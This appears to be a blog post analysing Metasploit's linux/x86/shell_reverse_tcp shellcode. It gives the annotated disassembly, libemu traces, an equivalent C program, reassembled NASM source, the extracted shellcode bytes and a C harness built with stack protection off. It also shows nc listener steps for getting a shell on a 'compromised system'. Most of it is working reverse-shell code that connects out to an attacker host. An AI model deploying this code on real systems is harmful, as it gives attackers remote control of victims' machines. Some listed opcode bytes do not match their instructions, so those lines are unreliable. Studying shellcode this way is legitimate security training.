Metasploit Shellcode Analysis (shell_reverse_tcp)

Payload:
linux/x86/shell_reverse_tcp

Description:
Connect back to attacker and spawn a command shell

Initial disassembly of payload:
Using metasploit to provide the payload for analysis the following will download and disassemble it.
$ sudo msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.1.25 LPORT=4444 R | ndisasm -u –

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  680C0A80119       push dword 0x1901a8c0
0000001D  680200115C        push dword 0x5c110002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  682F2F7368        push dword 0x68732f2f
00000035  682F62696E        push dword 0x6e69622f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

Initial analysis of payload with libemu:
Using libemu to discover what is the task of the shellcode. The following command will provide a very verbose trace of execution, the output from which will be used in shortened form below.
$ sudo msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.1.25 LPORT=4444 R | sctest -vvv -Ss 100000

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 70595338 (host=192.168.1.25);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416f9e => 
               = 0x00416fa6 => 
                   = "/bin//sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

Produce execution flowchart:
To produce an execution flowchart of the shellcode payload the following commands are issued.

$ sudo msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.1.25 LPORT=4444 R | sctest -vvv -Ss 1000000 -G shell_reverse_tcp.dot
$ dot shell_reverse_tcp.dot -Tpng -o shell_reverse_tcp.png

This will produce the following flowchart.


The benefit of such a flowchart is that modularization of the analysis becomes much simpler, the modularization started in the previous step ,the initial libemu analysis, but is confirmed in more detail within the execution flowchart. From here a more detailed analysis and merge of the libemu and disassembly can begin in earnest.

Modularize initial payload disassembly, using libemu and execution flowchart:

; clear registers
; 00000000  31DB          xor ebx,ebx
; 00000002  F7E3          mul ebx

; socket
; int socket(int domain, int type, int protocol);
;
; libemu:
; int socket (
;   int domain = 2;
;   int type = 1;
;   int protocol = 0;
; ) =  14;
; 00000004  53            push ebx	; IPPROTO_IP=0
; 00000005  43            inc ebx	; socketcall, SYS_SOCKET	 
; 00000006  53            push ebx	; SOCK_STREAM	
; 00000007  6A02          push byte +0x2; AF_INET
; 00000009  89E1          mov ecx,esp	; ecx, ptr to args
; 0000000B  B066          mov al,0x66	; socketcall()
; 0000000D  CD80          int 0x80	; make the call

; dup2: 
; int dup2(int oldfd, int newfd);
;
; libemu:
; int dup2 (
;   int oldfd = 14;
;   int newfd = 2;
; ) =  2;
; int dup2 (
;   int oldfd = 14;
;   int newfd = 1;
; ) =  1;
; int dup2 (
;   int oldfd = 14;
;   int newfd = 0;
; ) =  0;
; 0000000F  93            xchg eax,ebx	; exchange ebx with eax
; 00000010  59            pop ecx	; counter
; LBL1:
; 00000011  B03F          mov al,0x3f	; dup2()
; 00000013  CD80          int 0x80	; make the call
; 00000015  49            dec ecx	; sub 1 from counter
; 00000016  79F9          jns LBL1	; loop until zero

; connect
; int connect (
;   int sockfd = 14;
;     struct sockaddr_in * serv_addr = 0x00416fbe => 
;       struct   = {
;         short sin_family = 2;
;         unsigned short sin_port = 23569 (port=4444);
;         struct in_addr sin_addr = {
;           unsigned long s_addr = 70595338 (host=192.168.1.25);
;         };
;         char sin_zero = "       ";
;       };
;   int addrlen = 102;
; ) =  0;
; 00000018  680A333504    push dword 0x1901a8c0	; sin_addr
; 0000001D  680200115C    push dword 0x5c110002	; sin_port/sin_family
; 00000022  89E1          mov ecx,esp	; ecx, ptr to args
; 00000024  B066          mov al,0x66	; socketcall()
; 00000026  50            push eax	; socketcall()
; 00000027  51            push ecx	; args
; 00000028  53            push ebx	; sockfd
; 00000029  B303          mov bl,0x3	; connect()
; 0000002B  89E1          mov ecx,esp	; ecx, ptr to args 
; 0000002D  CD80          int 0x80	; make the call

; execve
; int execve (
;   const char * dateiname = 0x00416fa6 => 
;       = "/bin//sh";
;   const char * argv[] = [
;       = 0x00416f9e => 
;         = 0x00416fa6 => 
;           = "/bin//sh";
;         = 0x00000000 => 
;           none;
;   ];
;   const char * envp[] = 0x00000000 => 
;     none;
; ) =  0;
; 0000002F  52            push edx	; null
; 00000030  682F2F7368    push dword 0x68732f2f ; hs//
; 00000035  682F62696E    push dword 0x6e69622f ; nib/
; 0000003A  89E3          mov ebx,esp	; ebx, addr of /bin//sh	
; 0000003C  52            push edx	; null
; 0000003D  53            push ebx	; ptr to /bin//sh
; 0000003E  89E1          mov ecx,esp	; ecx, ptr to args
; 00000040  B00B          mov al,0xb	; execve()
; 00000042  CD80          int 0x80	; make the call

With the above breakdown of the code it is much easier to get a handle on what is happening within the code. It can be discovered from the above code that it is a standard socket program and is safe to test, with the port and remote IP address obviously being supplied on the command line to download the payload so again this poses no risk. To prove this it would be beneficial to try and write a C language program equivalent to the shellcode that has just been analyzed.

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int 
main(void) 
{
	int sockfd;  
	struct sockaddr_in attacker_addr;   
	socklen_t sinsize;
	
	/*
	 socket
	 int socket(int domain, int type, int protocol);

	 libemu:
	 int socket (
	   int domain = 2;
	   int type = 1;
	   int protocol = 0;
	 ) =  14;
	 00000004  53            push ebx	; IPPROTO_IP=0
	 00000005  43            inc ebx	; socketcall, SYS_SOCKET	 
	 00000006  53            push ebx	; SOCK_STREAM	
	 00000007  6A02          push byte +0x2; AF_INET
	 00000009  89E1          mov ecx,esp	; ecx, ptr to args
	 0000000B  B066          mov al,0x66	; socketcall()
	 0000000D  CD80          int 0x80	; make the call
	*/
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	/*
	 dup2: 
	 int dup2(int oldfd, int newfd);

	 libemu:
	 int dup2 (
	   int oldfd = 14;
	   int newfd = 2;
	 ) =  2;
	 int dup2 (
	   int oldfd = 14;
	   int newfd = 1;
	 ) =  1;
	 int dup2 (
	   int oldfd = 14;
	   int newfd = 0;
	 ) =  0;
	 0000000F  93            xchg eax,ebx	; exchange ebx with eax
	 00000010  59            pop ecx	; counter
	 LBL1:
	 00000011  B03F          mov al,0x3f	; dup2()
	 00000013  CD80          int 0x80	; make the call
	 00000015  49            dec ecx	; sub 1 from counter
	 00000016  79F9          jns LBL1	; loop until zero
	*/
	dup2(sockfd,0); // stdin
	dup2(sockfd,1); // stdout
	dup2(sockfd,2); // stderr

	/*
	 connect
	 int connect (
	   int sockfd = 14;
		 struct sockaddr_in * serv_addr = 0x00416fbe => 
		   struct   = {
			 short sin_family = 2;
			 unsigned short sin_port = 23569 (port=4444);
			 struct in_addr sin_addr = {
			   unsigned long s_addr = 70595338 (host=192.168.1.25);
			 };
			 char sin_zero = "       ";
		   };
	   int addrlen = 102;
	 ) =  0;
	 00000018  680C0A80119   push dword 0x1901a8c0	; sin_addr
	 0000001D  680200115C    push dword 0x5c110002	; sin_port/sin_family
	 00000022  89E1          mov ecx,esp	; ecx, ptr to args
	 00000024  B066          mov al,0x66	; socketcall()
	 00000026  50            push eax	; socketcall()
	 00000027  51            push ecx	; args
	 00000028  53            push ebx	; sockfd
	 00000029  B303          mov bl,0x3	; connect()
	 0000002B  89E1          mov ecx,esp	; ecx, ptr to args 
	 0000002D  CD80          int 0x80	; make the call
	*/
	attacker_addr.sin_family = AF_INET;
	attacker_addr.sin_port = htons(4444);
	attacker_addr.sin_addr.s_addr = inet_addr("192.168.1.25");
	memset(&(attacker_addr.sin_zero),'\0',8);
	connect(sockfd, (struct sockaddr *)&attacker_addr, 
		sizeof(struct sockaddr));

	/*
	 execve
	 int execve (
	   const char * dateiname = 0x00416fa6 => 
		   = "/bin//sh";
	   const char * argv[] = [
		   = 0x00416f9e => 
			 = 0x00416fa6 => 
			   = "/bin//sh";
			 = 0x00000000 => 
			   none;
	   ];
	   const char * envp[] = 0x00000000 => 
		 none;
	 ) =  0;
	 0000002F  52            push edx	; null
	 00000030  682F2F7368    push dword 0x68732f2f ; hs//
	 00000035  682F62696E    push dword 0x6e69622f ; nib/
	 0000003A  89E3          mov ebx,esp	; ebx, addr of /bin//sh	
	 0000003C  52            push edx	; null
	 0000003D  53            push ebx	; ptr to /bin//sh
	 0000003E  89E1          mov ecx,esp	; ecx, ptr to args
	 00000040  B00B          mov al,0xb	; execve()
	 00000042  CD80          int 0x80	; make the call
	*/
	execve("/bin/sh", NULL, NULL);
}

Build the code:
$ gcc shell_reverse_tcpc.c -o shell_reverse_tcpc

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 4444
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./shell_reverse_tcpc
on the attack system a connection message should now appear, shell access is now available on the compromised system. Trying typing in some commands to prove this is the case.

The next step will be to build and test the shellcode from scratch using the initial disassembly of the shellcode.

Prepare disassembly for compilation:

global _start
section .text
_start:
	xor ebx,ebx
	mul ebx
	push ebx
	inc ebx
	push ebx
	push byte +0x2
	mov ecx,esp
	mov al,0x66
	int 0x80

	xchg eax,ebx
	pop ecx
stdinouterr:
	mov al,0x3f
	int 0x80
	dec ecx
	jns stdinouterr

	push dword 0x1901a8c0
	push dword 0x5c110002
	mov ecx,esp
	mov al,0x66
	push eax
	push ecx
	push ebx
	mov bl,0x3
	mov ecx,esp
	int 0x80

	push edx
	push dword 0x68732f2f
	push dword 0x6e69622f
	mov ebx,esp
	push edx
	push ebx
	mov ecx,esp
	mov al,0xb
	int 0x80

Build the code:
$ nasm -felf32 -o shell_reverse_tcp.o shell_reverse_tcp.asm
$ ld -o shell_reverse_tcp shell_reverse_tcp.o
There is no need to check for nulls within the code as it can be seen from the initial disassembly that there are none.

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so,

$ objdump -d ./shell_reverse_tcp | grep ‘[0-9a-f]:’ | grep -v ‘file’ | cut -f2 -d: | cut -f1-6 -d’ ‘ | tr -s ‘ ‘ | tr ‘t’ ‘ ‘ | sed ‘s/ $//g’ | sed ‘s/ /x/g’ | paste -d ” -s | sed ‘s/^/”/’ | sed ‘s/$/”/g’

“\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x19\x68\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80”

The shellcode can be copied and pasted into a test program similar to the one below.

#include <stdio.h>
 
unsigned char code[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd"
"\x80\x49\x79\xf9\x68\xc0\xa8\x01\x19\x68\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51"
"\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
main()
{
	printf("Shellcode Length: %dn", sizeof(code)-1);
	int (*ret)() = (int(*)())code;
	ret();
}

Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 4444
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./shellcode
on the attack system a connection message should now appear, shell access is now available on the compromised system. Trying typing in some commands to prove this is the case.

In closing it is noticable that a debugger such as gdb was not used in this analysis, this was intentional as the shellcode was not that complex and with preparation proved to be quite simple to dissect and understand. Not using a debugger also requires a bit more thought as to what is happening within the code, leading to a deeper understanding of not only the shellcode but assembly language itself. Understand that this is not always the case, more complex shellcode can become very laborious and frustrating to analyse without the use of a debugger.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s